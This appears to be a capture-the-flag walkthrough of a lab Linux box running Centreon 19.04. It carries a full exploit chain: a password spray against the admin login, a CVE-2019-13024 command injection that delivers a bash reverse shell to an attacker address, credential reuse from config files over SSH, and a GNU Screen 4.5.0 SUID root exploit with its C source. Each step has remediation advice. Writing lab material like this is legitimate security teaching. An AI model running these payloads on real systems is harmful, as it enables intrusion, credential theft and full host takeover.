← all walkthroughs

Wall

Linux· Medium
owned
2026-09-04
time to own
12m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found an Apache web server hosting Centreon, a network-monitoring platform at version 19.04. A short automated credential spray against the Centreon login form found the built-in administrator account protected by the trivially weak password '[REDACTED: recovered credential]', handing my full admin access with no lockout triggered. Using that session, I exploited a known authenticated command-injection flaw in Centreon's poller-configuration feature (CVE-2019-13024), bypassing a space-character filter by substituting ${IFS} to deliver a reverse shell as the web-server account (www-data).

Config files readable by that account stored database credentials in plaintext; those credentials were reused as the login password for the local OS account 'shelby', converting a limited web-process foothold into a full interactive SSH session and yielding the user flag. Post-login enumeration revealed a SUID-root copy of GNU Screen version 4.5.0, which carries a well-known local privilege-escalation flaw allowing any user to write into /etc/ld.so.preload as root; exploiting this loaded my own shared library, produced a root shell, and gave complete control of the host.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD5="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and web content enumeration
Enumerated open services and discovered the Centreon monitoring application
A full TCP port scan confirmed SSH on port 22 (OpenSSH 7.6p1, Ubuntu 18.04) and HTTP on port 80 (Apache 2.4.29) as the only reachable services. Web content discovery against port 80 found a Centreon network-monitoring install at /centreon, a phpMyAdmin panel at /phpmyadmin, and stub pages at /panel.php and /aa.php. The Centreon login page self-identified as version 19.04, immediately pointing to a specific public exploit.
Nmap confirmed 22/tcp (ssh) and 80/tcp (http); feroxbuster returned HTTP 200 for /centreon with a Centreon 19.04 login page.
Exact commands 3
Full TCP sweep to identify all listening ports.
nmap -Pn -p- --min-rate 4000 -T4 --open $TARGET
Version-fingerprint the discovered services.
nmap -Pn -sV -p22,80 $TARGET
Brute-force web paths; key findings are /centreon and /phpmyadmin.
feroxbuster -u http://$TARGET -x php,html,txt -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -s 200,301,302,401,403 -d 2 -q -n
2Credential AccessCredential spraying against default credentials (T1110.001)
Gained Centreon administrator access via a trivial default-password spray
Centreon's login form was sprayed with four common default and weak passwords for the built-in 'admin' account. The password '[REDACTED: recovered credential]' succeeded on the fourth attempt, confirmed by an HTTP 302 redirect to main.php and a fully authenticated application session. No account-lockout, CAPTCHA, or rate-limiting was in place to slow or block the spray.
Exact commands 1
'[REDACTED: recovered credential]' produces a 302 redirect to ./main.php; all other attempts redirect back to the login page.
python3 -c "
import requests, sys
base = 'http://$TARGET/centreon'
for pw in ['admin', 'centreon', 'password', '$PASSWORD5']:
    s = requests.Session()
    r = s.post(base + '/index.php',
               data={'useralias': 'admin', 'password': pw, 'submitLogin': 'Connect'},
               allow_redirects=False, timeout=8)
    print(pw, r.status_code, r.headers.get('Location',''))
"
FixReplace the default Centreon administrator password and enable login lockoutCritical
WeaknessThe Centreon built-in 'admin' account was configured with the trivially guessable password '[REDACTED: recovered credential]'. No account-lockout policy or login rate-limiting was active, so a four-attempt automated spray found the correct password in under a second without raising any alert.
FixImmediately change the Centreon admin password to a randomly generated string of at least 20 characters, stored in a corporate password manager. In Centreon Administration → Authentication, enable the password-complexity requirement and configure account lockout after five failed attempts with a minimum 15-minute lock window. Where your organisation uses a centralised directory (Active Directory or LDAP), integrate Centreon authentication with it so the same strong-password and lockout policies that govern other corporate systems apply here automatically.
3ExploitationAuthenticated OS command injection — CVE-2019-13024 (T1059.004)
Executed a reverse shell via Centreon CVE-2019-13024 authenticated command injection
Centreon 19.04 passes the poller 'Command Line' field directly to the OS shell when generating monitoring configuration, without sanitizing shell metacharacters. A WAF rule blocks literal space characters, but the shell's Internal Field Separator variable (${IFS}) is not blocked and substitutes for spaces transparently. Using the authenticated admin session, a base64-encoded reverse shell (bash -i >& /dev/tcp/... 0>&1) was injected into the poller command field and triggered by the 'Generate configuration / Export' action, producing a shell as www-data caught on an nc listener.
Exact commands 4
Start the reverse-shell listener on my machine before firing the payload.
nc -lvnp 4444
Fetch the public Centreon 19.04 / CVE-2019-13024 PoC script for reference.
searchsploit -m 47069
Authenticate, grab the CSRF token, encode the reverse shell with ${IFS} space bypass. Replace $ATTACKER_IP with your VPN IP. Complete the exploit by POSTing the payload to the poller config via the UI or the script from ExploitDB 47069.
python3 - <<'PY'
import re, base64, requests
base = "http://$TARGET/centreon"
s = requests.Session()
r = s.get(base + '/index.php', timeout=8)
tok = re.search(r'name="centreon_token"[^>]*value="([^"]+)"', r.text).group(1)
s.post(base + '/index.php',
       data={'useralias': 'admin', 'password': '$PASSWORD5',
             'submitLogin': 'Connect', 'centreon_token': tok}, timeout=8)
rev = "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
b64 = base64.b64encode(rev.encode()).decode()
payload = f'echo${{IFS}}{b64}|base64${{IFS}}-d|bash'
print('Payload:', payload)
# POST payload into poller command-line field, save poller, then trigger
# Configuration -> Pollers -> Generate configuration / Export
PY
Confirm in the received shell: uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon).
id; hostname; uname -a
FixUpgrade Centreon to a version that patches the CVE-2019-13024 command-injection flawCritical
WeaknessCentreon 19.04 passed the poller 'Command Line' configuration field directly to the OS shell without stripping shell metacharacters. A space-blocking WAF rule was the only control, and it was bypassed in a single step by substituting ${IFS}. Any authenticated Centreon administrator could inject and run arbitrary OS commands as the web-server process account.
FixUpgrade Centreon to version 22.10 or newer, which remediates CVE-2019-13024. If an immediate upgrade is not possible, restrict access to the Centreon admin panel to a dedicated management network or VPN by firewall or reverse-proxy allow-listing, and reduce the administrator role to the fewest necessary accounts. As a defence-in-depth measure, run the Centreon application under a dedicated low-privilege service account with no write access outside its own application directory.
4Post-ExploitationUnsecured credentials in configuration files (T1552.001)
Read plaintext database credentials from Centreon configuration files
The www-data process account has read access to Centreon's own application configuration files, which store the MySQL database username and password in cleartext as a normal part of the application design. These credentials are set once at install time and are rarely changed. Reading those files from the www-data shell exposed the database password — a value that turned out to be reused as a local OS account password.
Centreon stores database credentials in /etc/centreon/conf.pm (Perl) and /usr/share/centreon/config/centreon.conf.php (PHP), both readable by the www-data process account.
Exact commands 3
Perl config; look for $mysql_passwd and $mysql_user.
cat /etc/centreon/conf.pm
PHP config alternative; look for $conf_centreon['password'].
cat /usr/share/centreon/config/centreon.conf.php
Enumerate all config files that reference credentials to ensure none are missed.
find /etc/centreon /usr/share/centreon -type f \( -name '*.conf*' -o -name '*.pm' -o -name '*.php' \) 2>/dev/null | xargs grep -l 'password\|passwd' 2>/dev/null
FixRemove plaintext credentials from web-application config files and enforce password uniquenessHigh
WeaknessCentreon's configuration files stored the database password in cleartext and were readable by the www-data process account. That same password was reused as the interactive login password for the local OS account 'shelby', so reading one config file converted a constrained www-data foothold into a full SSH session — two distinct privileges collapsed into one exposed secret.
FixStore all application secrets in a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) and reference them via environment variables or API calls at runtime rather than embedding them in config files. Until a secrets manager is in place, restrict config file permissions to mode 640 (owner root, group www-data) so they are not world-readable. Immediately audit every local OS account and service credential for reuse of the compromised database password and rotate all affected passwords. Establish and enforce a policy that application service passwords must never be reused as OS login passwords.
5Lateral MovementCredential reuse / valid local account SSH authentication (T1078 / T1021.004)
Reused configuration credentials over SSH as local user 'shelby' to capture the user flag
The plaintext password recovered from Centreon's config files was tried as the SSH login password for the local user 'shelby', whose home directory had already been confirmed via the www-data RCE channel. Password reuse was confirmed, giving an interactive SSH session. The user flag was readable directly from shelby's home directory.
Exact commands 2
Authenticate with the plaintext password recovered from Centreon config files.
ssh shelby@$TARGET
Read the user flag: <user.txt>.
cat ~/user.txt
6Privilege EscalationSUID binary local privilege escalation — GNU Screen 4.5.0 (T1548.001)
Exploited a SUID-root GNU Screen 4.5.0 binary to obtain a root shell
Enumerating SUID binaries on the host revealed a SUID-root copy of GNU Screen version 4.5.0. This version allows any local user to write arbitrary content to any path as root through its '-L' log-file option — specifically, writing a malicious shared-library path into /etc/ld.so.preload. On the next SUID binary execution, the OS dynamically loads my library as root, running arbitrary code with full privileges. A two-stage exploit compiled a malicious shared library that promoted a second binary to SUID root; executing that binary produced a root shell and access to the root flag.
Exact commands 7
Enumerate all SUID binaries; look for /bin/screen-4.5.0 owned by root.
find / -perm -4000 -type f 2>/dev/null
Confirm: -rwsr-xr-x 1 root root.
ls -la /bin/screen-4.5.0
Compile the malicious shared library that will make /tmp/rootshell SUID root when loaded.
cat > /tmp/libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void) {
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
}
EOF
gcc -fPIC -shared -ldl -nostartfiles -o /tmp/libhax.so /tmp/libhax.c
Compile the shell launcher that becomes SUID root once the library runs.
cat > /tmp/rootshell.c << 'EOF'
#include <stdio.h>
int main(void) { setuid(0); setgid(0); seteuid(0); setegid(0); system("/bin/sh"); }
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
Abuse the -L flag to write the library path into /etc/ld.so.preload as root; -ls triggers the load.
cd /etc && /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" && /bin/screen-4.5.0 -ls
Execute the now-SUID-root launcher to drop into a root shell.
/tmp/rootshell
Read the root flag: <root.txt>.
cat /root/root.txt
FixRemove the SUID bit from GNU Screen 4.5.0 and upgrade to a patched releaseHigh
WeaknessGNU Screen version 4.5.0 was installed with the SUID-root bit set. Its '-L' log-file option writes to an externally specified path while running as root, enabling any local user to inject content into /etc/ld.so.preload and have the OS load their code as root on the next SUID execution — a reliable one-step path from any user account to full root.
FixRemove the SUID bit immediately: run 'sudo chmod u-s /bin/screen-4.5.0'. Then upgrade GNU Screen to version 4.5.1 or later, which eliminates the SUID requirement for multi-user functionality. More broadly, run 'find / -perm /6000 -type f 2>/dev/null' on every Linux host to audit all SUID and SGID binaries and strip elevated-permission bits from every binary that does not strictly require them (legitimate examples are limited to su, sudo, passwd, and ping).

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp